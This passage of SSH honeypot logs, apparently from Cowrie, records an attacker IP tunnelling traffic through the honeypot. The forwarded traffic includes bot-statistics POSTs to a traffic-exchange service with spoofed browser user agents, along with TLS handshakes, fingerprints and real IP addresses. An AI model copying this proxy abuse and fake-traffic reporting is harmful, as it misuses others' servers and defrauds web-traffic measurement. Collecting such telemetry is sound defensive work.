16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.378757Z","src_ip":"91.92.40.36","session":"6fb989b1cb4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.433060Z","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.520379Z","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.527973Z","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.682711Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/18E199 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Vl5lRUFWcE9WPnlAPzVhJQ%3D%3D6p9T5DWnPlfuOVT%2BBHRNHKO0cGdYZpH%2Bms0JuOt4OXuVxaBSYDyg1Y04sLyX5xmkKgMIy9yzsQ7iynMkRPVL7g6hAozv5WU6yc59qHvcv7xQIhn3Bk%2BjLM5cenfBbVWuskXtnc%2FCVzSY6RYTMaEdWjenJa%2BLYuTBkmYjIBEcKBEqZ3oj0F3j3oXPo0%2FYWGogdAuXuv7p2ldmAfUq2JaJ0cICnkNKbM63WO%2BEOj6GmairT5VlU9fzl%2FXoZhOUU6lWAJnfsWkXeVm36yhSNYE5OxgcPbHyHIcan8L3grk%2FGcdRhgQm%2BKj0CD9XaR87VxCDGB3ZhvPSvlaceNC2ag38mi9JB0tC%2FC3E24zrvI8OIxdZ7SFc%2FOR6SuIqanMEM0KPi%2B3ByVq%2BKqCxQVtSp7yG7lc7CkklEiDZBW0Kp3VH4xIFDVjyspPFqA9oL4NZO74Bx2Lz4kDVYfjC0PlWBBPx7MeLHyyLSXu%2BVxv1%2F%2By1hVu1tGf%2BNRIUHj%2FHVxZlkFbpR%2FhBv18CBhN31nBQjdTdl%2Bgr77TQBorjRNIdM6NZ%2FALVz6835h8v%2FAftOtv%2FrxG9tJIsKfMkNTUBDARMGKUwLIyGCDhToVqKdQ8kC90BCDNBa4Vy6ZX9r%2FSiiDBJKtMOWZ%2Bv0bage%2FltbdL8jd1pLb0Y4Asg8qDeUhmSvDH9Wjgd59sxrAquEd8zOf34vGjM2FoWmekkPtBK6p%2Fo5VYw8EWutK8gc7YQOEsrMA8fBHdvPZkZn8gGnAeYJLz7C6F0cyh3YSALHmT50po1YHxAle3iwIwnmK3ojLsAsBRUQFnYMwFRwVG4f3WUZcpy7c7hThnHVL7yNr6IrcmcNotJkqb3QdffasPuc9b6wmmLpjAwTXCf2n5BMN1jq1FU%2FW4%2FMHG%2FctWOMbr4OsC7Ss60Fynr6ObeTQhcZvXu2hV%2BL0Qv2j1gE%2F7z8iqRKPOdYfgUuSLK4KhlCOAtSrbA526WQfzgmT4ZVUn4RDVwreRBNzr1RrAUmPB%2F45ItRebZ%2FdRX4K42wp85%2FRvtjHvC47REFDozoO%2BA6A34f%2FBYq%2FFWiHnVC%2FNIy937x64xMA60OyaC'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/18E199 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Vl5lRUFWcE9WPnlAPzVhJQ%3D%3D6p9T5DWnPlfuOVT%2BBHRNHKO0cGdYZpH%2Bms0JuOt4OXuVxaBSYDyg1Y04sLyX5xmkKgMIy9yzsQ7iynMkRPVL7g6hAozv5WU6yc59qHvcv7xQIhn3Bk%2BjLM5cenfBbVWuskXtnc%2FCVzSY6RYTMaEdWjenJa%2BLYuTBkmYjIBEcKBEqZ3oj0F3j3oXPo0%2FYWGogdAuXuv7p2ldmAfUq2JaJ0cICnkNKbM63WO%2BEOj6GmairT5VlU9fzl%2FXoZhOUU6lWAJnfsWkXeVm36yhSNYE5OxgcPbHyHIcan8L3grk%2FGcdRhgQm%2BKj0CD9XaR87VxCDGB3ZhvPSvlaceNC2ag38mi9JB0tC%2FC3E24zrvI8OIxdZ7SFc%2FOR6SuIqanMEM0KPi%2B3ByVq%2BKqCxQVtSp7yG7lc7CkklEiDZBW0Kp3VH4xIFDVjyspPFqA9oL4NZO74Bx2Lz4kDVYfjC0PlWBBPx7MeLHyyLSXu%2BVxv1%2F%2By1hVu1tGf%2BNRIUHj%2FHVxZlkFbpR%2FhBv18CBhN31nBQjdTdl%2Bgr77TQBorjRNIdM6NZ%2FALVz6835h8v%2FAftOtv%2FrxG9tJIsKfMkNTUBDARMGKUwLIyGCDhToVqKdQ8kC90BCDNBa4Vy6ZX9r%2FSiiDBJKtMOWZ%2Bv0bage%2FltbdL8jd1pLb0Y4Asg8qDeUhmSvDH9Wjgd59sxrAquEd8zOf34vGjM2FoWmekkPtBK6p%2Fo5VYw8EWutK8gc7YQOEsrMA8fBHdvPZkZn8gGnAeYJLz7C6F0cyh3YSALHmT50po1YHxAle3iwIwnmK3ojLsAsBRUQFnYMwFRwVG4f3WUZcpy7c7hThnHVL7yNr6IrcmcNotJkqb3QdffasPuc9b6wmmLpjAwTXCf2n5BMN1jq1FU%2FW4%2FMHG%2FctWOMbr4OsC7Ss60Fynr6ObeTQhcZvXu2hV%2BL0Qv2j1gE%2F7z8iqRKPOdYfgUuSLK4KhlCOAtSrbA526WQfzgmT4ZVUn4RDVwreRBNzr1RrAUmPB%2F45ItRebZ%2FdRX4K42wp85%2FRvtjHvC47REFDozoO%2BA6A34f%2FBYq%2FFWiHnVC%2FNIy937x64xMA60OyaC'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.686890Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.888388Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Vl83KEolQClyaE56RVF3WA%3D%3DyCY0%2BWjjmDVPfNaZSuavflS1hzZTbf53vYf7ln9WEXRQZm1XOKoJZwKvkDyXR%2Fa8OawQcVPPBhF2YzgvG1r3eEenTf6L4NrDIwkYKDGE5rEpZdYdsePDs%2BVCGU0xxl%2BA%2FWXtqqqFYx3g4yS6%2FWImXLVZVKvUV0dGO0MIbH3DX01rXLtqUsaU8w2cNx2v6LWjaTnaNNXoYNpGlUtkD%2Fs5fjChhejjlBixCXJqSbM4NOBpNv9kGdJdokMT111YrWRY8P2ZzsbL3%2BV1udwx4ia%2BKGXwRCYkRxcKeYAjMCKkNl0Ml2T%2FzUeOsS1TGui%2Bk6eupcdgQzPJqAyaXjUdeInHNxJWbVHJJ203TKTo4iYdukcl1hMaMvRWSWq90EqyWgTLW7cNccJSYkcLt2JSTiVGmwLWZ0C90GxyWhd4uRF7KG3csT%2B3mmnvqdDoZvVnxpE%2FMFCiJpH5RadHgvF5ReCnSGsBqr83syqxwLi3L4OWkUhS61zu%2BJ4aITL9ORCu%2FRBby72Yp771GQRcaVT3BdPNliMePHsaroxAH%2BpLsoZxi3FWxrbgf9POTj2pldC9nhImdZys%2BbhZYR%2BfKSyAoBR6BglHkbs99hWfvQzie4c4yOC5V6sMN%2FmEPLzHZZIxgGUusXxEBATrs9QP48qCKZfYIZm1HF2OnSMVSCbWYV220kYyzmxJNBSHfZQftJ6JDjb9gczXvYwXbX1petAvPD64A2sOY5vf8hCVGLAb5tkywMk2d752SLmCCzyFHfxnElfA9sEpAj5A%2BoTwa%2FxQ1VpeI5a5rBuWsc77uH9OvwSbworWKIUPPBftMRNNG1iW0TdfzjXGqlqDwvt6mjIS65z75HHz%2FdwqbdRaf91r8K6cqfjvBKgkdKpZAYSbRInFaXWhkP1nyS3y8Ate9ZKWzqoqS%2Fu%2FFy4sFkqivdOGabShH6rIolJg9ih9j0%2FDQ2Rq4TuXGwf5l3DVLJxlWHuHlUSzGlHX1e1QLbqjkkGHVaR15ASapdRIva0GMjIBHQ4v76mQ1WffMpuYbJZ7wlafWalX9iN3%2B3k3Bnc3FJvQsFoReDmIJSsMiMW37IXKOySnppdA'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Vl83KEolQClyaE56RVF3WA%3D%3DyCY0%2BWjjmDVPfNaZSuavflS1hzZTbf53vYf7ln9WEXRQZm1XOKoJZwKvkDyXR%2Fa8OawQcVPPBhF2YzgvG1r3eEenTf6L4NrDIwkYKDGE5rEpZdYdsePDs%2BVCGU0xxl%2BA%2FWXtqqqFYx3g4yS6%2FWImXLVZVKvUV0dGO0MIbH3DX01rXLtqUsaU8w2cNx2v6LWjaTnaNNXoYNpGlUtkD%2Fs5fjChhejjlBixCXJqSbM4NOBpNv9kGdJdokMT111YrWRY8P2ZzsbL3%2BV1udwx4ia%2BKGXwRCYkRxcKeYAjMCKkNl0Ml2T%2FzUeOsS1TGui%2Bk6eupcdgQzPJqAyaXjUdeInHNxJWbVHJJ203TKTo4iYdukcl1hMaMvRWSWq90EqyWgTLW7cNccJSYkcLt2JSTiVGmwLWZ0C90GxyWhd4uRF7KG3csT%2B3mmnvqdDoZvVnxpE%2FMFCiJpH5RadHgvF5ReCnSGsBqr83syqxwLi3L4OWkUhS61zu%2BJ4aITL9ORCu%2FRBby72Yp771GQRcaVT3BdPNliMePHsaroxAH%2BpLsoZxi3FWxrbgf9POTj2pldC9nhImdZys%2BbhZYR%2BfKSyAoBR6BglHkbs99hWfvQzie4c4yOC5V6sMN%2FmEPLzHZZIxgGUusXxEBATrs9QP48qCKZfYIZm1HF2OnSMVSCbWYV220kYyzmxJNBSHfZQftJ6JDjb9gczXvYwXbX1petAvPD64A2sOY5vf8hCVGLAb5tkywMk2d752SLmCCzyFHfxnElfA9sEpAj5A%2BoTwa%2FxQ1VpeI5a5rBuWsc77uH9OvwSbworWKIUPPBftMRNNG1iW0TdfzjXGqlqDwvt6mjIS65z75HHz%2FdwqbdRaf91r8K6cqfjvBKgkdKpZAYSbRInFaXWhkP1nyS3y8Ate9ZKWzqoqS%2Fu%2FFy4sFkqivdOGabShH6rIolJg9ih9j0%2FDQ2Rq4TuXGwf5l3DVLJxlWHuHlUSzGlHX1e1QLbqjkkGHVaR15ASapdRIva0GMjIBHQ4v76mQ1WffMpuYbJZ7wlafWalX9iN3%2B3k3Bnc3FJvQsFoReDmIJSsMiMW37IXKOySnppdA'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.891608Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.895793Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x14/q\\x84T\\x17R\\xb5\\xa0\\xfb\\x92$:E\\xd4<\\x9f\\xd5\\xaf\\xec4\\xe6\\xcb\\xfaX\\x85\\xaa\\x02x\\xfaD /\\xef\\x92\\x8dP\\xa3;\\x9d\\x08\\x80\\xec\\xf2!6\\xc6\\xa2\\x02\\x1e,7\\x90\\x82\\x88\\xdf\\x9fN\\xc8K\\xdf\\xfd\\xa3\\xcc\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5\\xca/T\\x02\\x10\\xa5\\x82?\\x81\\x94\\x18\\xe7\\xfb\\xeb\\xf8M^\\xe2\\xa6\\xdc\\xc2\\xb8\\x9e\\xe4\\x96\\xb2\\xd9\\x17\\xfd\\xbcP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x14/q\\x84T\\x17R\\xb5\\xa0\\xfb\\x92$:E\\xd4<\\x9f\\xd5\\xaf\\xec4\\xe6\\xcb\\xfaX\\x85\\xaa\\x02x\\xfaD /\\xef\\x92\\x8dP\\xa3;\\x9d\\x08\\x80\\xec\\xf2!6\\xc6\\xa2\\x02\\x1e,7\\x90\\x82\\x88\\xdf\\x9fN\\xc8K\\xdf\\xfd\\xa3\\xcc\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5\\xca/T\\x02\\x10\\xa5\\x82?\\x81\\x94\\x18\\xe7\\xfb\\xeb\\xf8M^\\xe2\\xa6\\xdc\\xc2\\xb8\\x9e\\xe4\\x96\\xb2\\xd9\\x17\\xfd\\xbcP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.900594Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.922876Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2\\x92+\\xd7\\x9e\\xaa)\\xd8\\xb7\\x12\\xe3\\x1a\\x1b\\x92\\x10\\xe7\\x1c\\x92\\xf1>\\xa1?)\"\\xf9\\x9bk\\xfe\\x88C\\xe3F \\xf7R\\xfe\\xf3H\\x91;\\xcb\\xdb&\\x97h\\xf1\\xa6\\xb4\\x1eqT\\xdd\\xf4\\x90\"\\x84]t\\x91\\xads\\xf2\\x9a)\\xd7\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\x03m\\x82;\\xfb\\x91\\xd9Z\\xfd\\xc4~K\\x8d\\xdf\\xba\\xf3\\xd7\\x16\\xb7C\\x91\\xae[\\xd5\\xd7\\x00\\xda\\xd63Zu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2\\x92+\\xd7\\x9e\\xaa)\\xd8\\xb7\\x12\\xe3\\x1a\\x1b\\x92\\x10\\xe7\\x1c\\x92\\xf1>\\xa1?)\"\\xf9\\x9bk\\xfe\\x88C\\xe3F \\xf7R\\xfe\\xf3H\\x91;\\xcb\\xdb&\\x97h\\xf1\\xa6\\xb4\\x1eqT\\xdd\\xf4\\x90\"\\x84]t\\x91\\xads\\xf2\\x9a)\\xd7\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 